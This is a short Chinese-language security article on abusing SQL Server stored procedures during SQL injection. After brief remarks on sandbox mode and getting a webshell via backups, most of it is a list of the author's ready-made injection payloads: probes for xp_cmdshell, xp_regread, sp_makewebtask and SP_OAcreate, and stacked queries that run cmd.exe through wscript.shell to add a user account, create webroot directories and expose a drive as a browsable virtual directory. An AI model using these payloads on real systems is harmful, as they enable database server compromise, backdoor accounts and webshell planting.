网络安全 频道

[攻防手记]SQL存储过程带来的安全危险

    因为系统默认的注册表键值是不允许执行沙盒模式命令的,所以需要修改注册表。但是只有SA权限才有权利修改注册表,所以在以上两种方法都不可以用的时候就可以考虑沙盒模式

    至于DB权限我就不用多说了,列目录寻找WEB目录从而进行备份就可以拿到WEBSHELL了,进而再进行提权。

    下面我在列出一些笔者常用的语句给大家参考

    检测 xp_cmdshell (CMD命令)|
    and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'xp_cmdshell')

    检测 xp_regread (注册表读取功能)|
    and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'xp_regread')

    检测 sp_makewebtask (备份功能)|
    and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'sp_makewebtask')

    检测 sp_addextendedproc|
    and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'sp_addextendedproc')

    检测 xp_subdirs 读子目录|
    and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'xp_subdirs')

    检测 xp_dirtree 读子目录|
    and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'xp_dirtree')

    检测 SP_OAcreate (执行命令)|
    and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'SP_OAcreate')

    执行CMD命令 SP_OAcreate
    ;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add'

    sp_OACreate:
    运行CMD并显示回显的要求是Wscript.shell和Scripting.FileSystemObject可用   //要记住这点,如果服务器over了,wscript.shell那么这存储过程也没多大的用了在注入方面。

    建目录 SP_OAcreate|
    ;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c md c:\inetpub\wwwroot\1111'

    创建一个虚拟目录E盘|
    ;declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "默认 Web 站点" -v "e","e:\"'

    设置虚拟目录为可读 e |
    ;declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse'

0
相关文章